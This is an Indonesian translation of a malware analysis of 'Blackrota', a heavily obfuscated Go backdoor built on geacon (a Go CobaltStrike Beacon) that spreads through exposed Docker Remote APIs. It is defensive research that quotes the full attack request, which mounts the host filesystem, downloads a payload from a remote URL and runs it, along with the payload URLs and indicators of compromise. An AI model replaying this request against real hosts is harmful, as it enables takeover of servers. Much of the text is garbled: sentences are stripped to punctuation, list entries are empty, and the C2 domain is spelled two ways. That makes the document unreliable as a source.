Malware Go ELF yang paling disamarkan yang pernah kami lihat hingga saat ini.
Kata pengantar
Baru-baru ini, pintu belakang berbahaya yang ditulis di Go yang mengeksploitasi kerentanan akses tidak sah di Docker Remote API tertangkap di Anglerfish Honeypot.
Kami menamakannya Blackrota karena domain C2-nya adalah blackrota.ga .
Backdoor Blackrota saat ini hanya tersedia untuk Linux, dalam format ELF dan mendukung arsitektur x86 / x86-64.
Blackrota dikonfigurasi dan dikompilasi berdasarkan geacon - implementasi CobaltStrike Beacon Go digunakan sebagai CobaltStrike Beacon, yang berinteraksi dengan CobaltStrike untuk mengontrol host yang disusupi:
Namun, ini hanya implementasi dari beberapa fitur utama CobaltStrike Beacon:
CMD_SHELL: eksekusi perintah Shell,
CMD_UPLOAD: unggah file,
CMDDOWNLOAD: unduh file khusus,
CMD_FILE _ ROWSE: lihat file,
CMD_CD: ubah direktori,
CMD_SLEEP: setel waktu tunda tidur,
CMD_PWD: ,
CMD_EXIT: .
geacon, Blackrota gobfuscate - . Gobfuscate - Go-, Go- :
;
;
;
;
.
, gobfuscate XOR , XOR, .
Go . , , , , . , , , Go . , Go.
, Go : RTSI (Runtime Symbol Information) RTTI (Runtime Type Information) . , Go, , Go. Go . , RTSI RTTI , , .
Blackrota gobfuscate , "life-door" . , , . .
, Go, , - , . Blackrota - Go ELF , .
Blackrota
Blackrota API Docker. :
POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
32/64 Blackrota URL :
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
Blackrota
, Blackrota Go. go_parser IDAPro, , Go1.15.3, GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec". , , , , , , .
, ( )
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
Blackrota
, , , , Blackrota .
:
:
, , , :
, , , Go , . , , , Blackrota geacon.
, Blackrota, :
geacon Blackrota, ,
idb2pat.py IDAPro (geacon.pat) geacon-,
sigmake Flair Tools geacon (geacon.sig),
geacon.sig Blackrota IDAPro, .
! , , , , geacon-, :
Blackrota
, , Go, Blackrota, geacon . , geacon.
, Blackrota XOR , , , . XOR. gobfuscate XOR , , , . XOR :
, , XOR XOR. , .
, Go, , , . - , @joakimkennedy, main:
main - :
- EKANS, , Blackrota:
Teknik kebingungan yang digunakan dalam malware Blackrota dan EKANS menciptakan panggilan / masalah baru untuk pembongkaran. Seiring dengan semakin populernya bahasa Go dan semakin banyak malware yang ditulis di Go di masa mendatang, kami akan terus memantau apa yang terjadi.
IoC
MD5:
e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
C&C:
blackrato.ga 165.227.199.214 ASN: 14061|DigitalOcean,_LLC
PS Artikel itu diterbitkan dengan izin dari penulis. Terjemahan pertama saya, tolong perlakukan dengan pengertian.